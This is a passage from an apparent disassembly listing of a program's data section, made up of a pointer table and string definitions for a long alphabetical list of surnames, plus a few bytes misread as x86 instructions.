aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" dd offset aTroy ; "Troy" dd offset aTruss ; "Truss" dd offset aTsiatis ; "Tsiatis" dd offset aTsomides ; "Tsomides" dd offset aTsukurov ; "Tsukurov" dd offset aTuck ; "Tuck" dd offset aTudge ; "Tudge" dd offset aTukan ; "Tukan" dd offset aTurano ; "Turano" dd offset aTurek ; "Turek" dd offset aTuttle ; "Tuttle" dd offset aTwells ; "Twells" dd offset aTzamarias ; "Tzamarias" dd offset aUllman ; "Ullman" dd offset aUntermeyer ; "Untermeyer" dd offset aUpsdell ; "Upsdell" dd offset aUrban ; "Urban" dd offset aUrdangBrown ; "Urdang-Brown" dd offset aUsdan ; "Usdan" dd offset aUzuner ; "Uzuner" dd offset aVacca ; "Vacca" dd offset aWaite ; "Waite" dd offset aValberg ; "Valberg" dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" dd offset aWalter ; "Walter" dd offset aVanallen ; "vanAllen" dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" dd offset aVasquez ; "Vasquez" dd offset aWaugh ; "Waugh" dd offset aWeighart ; "Weighart" dd offset aWeingarten ; "Weingarten" dd offset aWeinhaus ; "Weinhaus" dd offset aWeissbourd ; "Weissbourd" dd offset aWeissman ; "Weissman" dd offset aVelasquez ; "Velasquez" dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" ; --------------------------------------------------------------------------- xor ah, ch inc edx add [esp+ebp*8], ah inc edx add [esp+ebp*8], bl inc edx add [esp+ebp*8], dl inc edx add [esp+ebp*8], cl inc edx add [esp+ebp*8], al inc edx add ah, bh jmp short loc_42EC21 ; --------------------------------------------------------------------------- align 10h dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042EBE4o align 4 aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042EBE0o align 4 aZurn db 'Zurn',0 align 4 aZucconi db 'Zucconi',0 aZoldak db 'Zoldak',0 align 4 aZerbini db 'Zerbini',0 dd 6167655Ah db 6Eh ; --------------------------------------------------------------------------- loc_42EC21: ; CODE XREF: ___:0042EBDDj jnb short $+2 add [edx+61h], bl outsb db 67h ja near ptr 0EC93h insb insb ; --------------------------------------------------------------------------- dd 0 aZahedi db 'Zahedi',0 align 4 aZachary db 'Zachary',0 ; DATA XREF: ___:0042EBC0o aYu db 'Yu',0 ; DATA XREF: ___:0042EBBCo align 4 aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042EBB8o align 10h aYoo db 'Yoo',0 ; DATA XREF: ___:0042EBB4o aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042EBB0o align 4 aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042EBACo align 4 aYesson db 'Yesson',0 ; DATA XREF: ___:0042EBA8o align 4 aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042EBA4o aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042EBA0o align 4 aYates db 'Yates',0 ; DATA XREF: ___:0042EB9Co align 4 aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042EB98o aYankee db 'Yankee',0 ; DATA XREF: ___:0042EB94o align 4 aYamane db 'Yamane',0 ; DATA XREF: ___:0042EB90o align 4 aYacono db 'Yacono',0 ; DATA XREF: ___:0042EB8Co align 4 aVotey db 'Votey',0 ; DATA XREF: ___:0042EB88o align 4 aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042EB84o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042EB80o align 4 aWoods db 'Woods',0 ; DATA XREF: ___:0042EB7Co align 4 aWooden db 'Wooden',0 ; DATA XREF: ___:0042EB78o align 4 aWoo db 'Woo',0 ; DATA XREF: ___:0042EB74o aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042EB70o align 4 aWolk db 'Wolk',0 ; DATA XREF: ___:0042EB6Co align 4 aVoigt db 'Voigt',0 ; DATA XREF: ___:0042EB68o align 4 aViviani db 'Viviani',0 ; DATA XREF: ___:0042EB64o aVitali db 'Vitali',0 ; DATA XREF: ___:0042EB60o align 4 aWilson db 'Wilson',0 ; DATA XREF: ___:0042EB5Co align 4 aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042EB58o aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042EB54o align 4 aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042EB50o align 10h aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042EB4Co align 4 aWilk db 'Wilk',0 ; DATA XREF: ___:0042EB48o align 10h aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042EB44o aWilder db 'Wilder',0 ; DATA XREF: ___:0042EB40o align 10h aVignola db 'Vignola',0 ; DATA XREF: ___:0042EB3Co aViens db 'Viens',0 ; DATA XREF: ___:0042EB38o align 10h aWiener db 'Wiener',0 ; DATA XREF: ___:0042EB34o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042EB30o aViano db 'Viano',0 ; DATA XREF: ___:0042EB2Co align 4 aViana db 'Viana',0 ; DATA XREF: ___:0042EB28o align 4 aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042EB24o align 10h aWhitla db 'Whitla',0 ; DATA XREF: ___:0042EB20o align 4 aWhite db 'White',0 ; DATA XREF: ___:0042EB1Co align 10h aWhilton db 'Whilton',0 ; DATA XREF: ___:0042EB18o aWhately db 'Whately',0 ; DATA XREF: ___:0042EB14o aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042EB10o align 4 aWescott db 'Wescott',0 ; DATA XREF: ___:0042EB0Co aVerghese db 'Verghese',0 ; DATA XREF: ___:0042EB08o align 4 aVenne db 'Venne',0 ; DATA XREF: ___:0042EB04o align 4 aWengret db 'Wengret',0 ; DATA XREF: ___:0042EB00o aWelsh db 'Welsh',0 ; DATA XREF: ___:0042EAFCo align 4 aWelles db 'Welles',0 ; DATA XREF: ___:0042EAF8o align 4 aVelasquez db 'Velasquez',0 ; DATA XREF: ___:0042EAF4o align 4 aWeissman db 'Weissman',0 ; DATA XREF: ___:0042EAF0o align 4 aWeissbourd db 'Weissbourd',0 ; DATA XREF: ___:0042EAECo align 10h aWeinhaus db 'Weinhaus',0 ; DATA XREF: ___:0042EAE8o align 4 aWeingarten db 'Weingarten',0 ; DATA XREF: ___:0042EAE4o align 4 aWeighart db 'Weighart',0 ; DATA XREF: ___:0042EAE0o align 4 aWaugh db 'Waugh',0 ; DATA XREF: ___:0042EADCo align 4 aVasquez db 'Vasquez',0 ; DATA XREF: ___:0042EAD8o aWasowska db 'Wasowska',0 ; DATA XREF: ___:0042EAD4o align 10h aWarshafsky db 'Warshafsky',0 ; DATA XREF: ___:0042EAD0o align 4 aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: ___:0042EACCo align 4 aVandenberg db 'Vandenberg',0 ; DATA XREF: ___:0042EAC8o align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: ___:0042EAC4o aVanallen db 'vanAllen',0 ; DATA XREF: ___:0042EAC0o align 4 aWalter db 'Walter',0 ; DATA XREF: ___:0042EABCo align 4 aWallenberg db 'Wallenberg',0 ; DATA XREF: ___:0042EAB8o align 10h aWales db 'Wales',0 ; DATA XREF: ___:0042EAB4o align 4 aValencia db 'Valencia',0 ; DATA XREF: ___:0042EAB0o align 4 aValberg db 'Valberg',0 ; DATA XREF: ___:0042EAACo aWaite db 'Waite',0 ; DATA XREF: ___:0042EAA8o align 4 aVacca db 'Vacca',0 ; DATA XREF: ___:0042EAA4o align 4 aUzuner db 'Uzuner',0 ; DATA XREF: ___:0042EAA0o align 4 aUsdan db 'Usdan',0 ; DATA XREF: ___:0042EA9Co align 4 aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: ___:0042EA98o align 4 aUrban db 'Urban',0 ; DATA XREF: ___:0042EA94o align 4 aUpsdell db 'Upsdell',0 ; DATA XREF: ___:0042EA90o aUntermeyer db 'Untermeyer',0 ; DATA XREF: ___:0042EA8Co align 4 aUllman db 'Ullman',0 ; DATA XREF: ___:0042EA88o align 10h aTzamarias db 'Tzamarias',0 ; DATA XREF: ___:0042EA84o align 4 aTwells db 'Twells',0 ; DATA XREF: ___:0042EA80o align 4 aTuttle db 'Tuttle',0 ; DATA XREF: ___:0042EA7Co align 4 aTurek db 'Turek',0 ; DATA XREF: ___:0042EA78o align 4 aTurano db 'Turano',0 ; DATA XREF: ___:0042EA74o align 4 aTukan db 'Tukan',0 ; DATA XREF: ___:0042EA70o align 4 aTudge db 'Tudge',0 ; DATA XREF: ___:0042EA6Co align 4 aTuck db 'Tuck',0 ; DATA XREF: ___:0042EA68o align 4 aTsukurov db 'Tsukurov',0 ; DATA XREF: ___:0042EA64o align 10h aTsomides db 'Tsomides',0 ; DATA XREF: ___:0042EA60o align 4 aTsiatis db 'Tsiatis',0 ; DATA XREF: ___:0042EA5Co aTruss db 'Truss',0 ; DATA XREF: ___:0042EA58o align 4 aTroy db 'Troy',0 ; DATA XREF: ___:0042EA54o align 4 aTroiani db 'Troiani',0 ; DATA XREF: ___:0042EA50o aTringali db 'Tringali',0 ; DATA XREF: ___:0042EA4Co align 4 aTrewin db 'Trewin',0 ; DATA XREF: ___:0042EA48o align 10h aTrenga db 'Trenga',0 ; DATA XREF: ___:0042EA44o align 4 aTraebert db 'Traebert',0 ; DATA XREF: ___:0042EA40o align 4 aToye db 'Toye',0 ; DATA XREF: ___:0042EA3Co align 4 aTowler db 'Towler',0 ; DATA XREF: ___:0042EA38o align 4 aTorske db 'Torske',0 ; DATA XREF: ___:0042EA34o align 4 aTorresi db 'Torresi',0 ; DATA XREF: ___:0042EA30o aTopulos db 'Topulos',0 ; DATA XREF: ___:0042EA2Co aToomer db 'Toomer',0 ; DATA XREF: ___:0042EA28o align 4 aTomford db 'Tomford',0 ; DATA XREF: ___:0042EA24o aTolman db 'Tolman',0 ; DATA XREF: ___:0042EA20o align 4 aTolls db 'Tolls',0 ; DATA XREF: ___:0042EA1Co align 4 aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042EA18o align 4 aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042EA14o align 4 aTimmons db 'Timmons',0 ; DATA XREF: ___:0042EA10o aTill db 'Till',0 ; DATA XREF: ___:0042EA0Co align 4 aTierney db 'Tierney',0 ; DATA XREF: ___:0042EA08o aThroop db 'Throop',0 ; DATA XREF: ___:0042EA04o align 4 aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042EA00o aThisted db 'Thisted',0 ; DATA XREF: ___:0042E9FCo aThibault db 'Thibault',0 ; DATA XREF: ___:0042E9F8o align 10h aTheodos db 'Theodos',0 ; DATA XREF: ___:0042E9F4o aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042E9F0o align 4 aThan db 'Than',0 ; DATA XREF: ___:0042E9ECo align 10h aTerracini db 'Terracini',0 ; DATA XREF: ___:0042E9E8o align 4 aTenney db 'Tenney',0 ; DATA XREF: ___:0042E9E4o align 4 aTemmer db 'Temmer',0 ; DATA XREF: ___:0042E9E0o align 4 aTemes db 'Temes',0 ; DATA XREF: ___:0042E9DCo align 4 aTeague db 'Teague',0 ; DATA XREF: ___:0042E9D8o align 4 aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042E9D4o align 4 aTawn db 'Tawn',0 ; DATA XREF: ___:0042E9D0o align 10h aTaveras db 'Taveras',0 ; DATA XREF: ___:0042E9CCo aTatar db 'Tatar',0 ; DATA XREF: ___:0042E9C8o align 10h aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042E9C4o align 4 aTandler db 'Tandler',0 ; DATA XREF: ___:0042E9C0o aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042E9BCo aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042E9B8o align 4 aTai db 'Tai',0 ; DATA XREF: ___:0042E9B4o aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042E9B0o aSwindle db 'Swindle',0 ; DATA XREF: ___:0042E9ACo aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042E9A8o align 4 aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042E9A4o align 4 aSurdam db 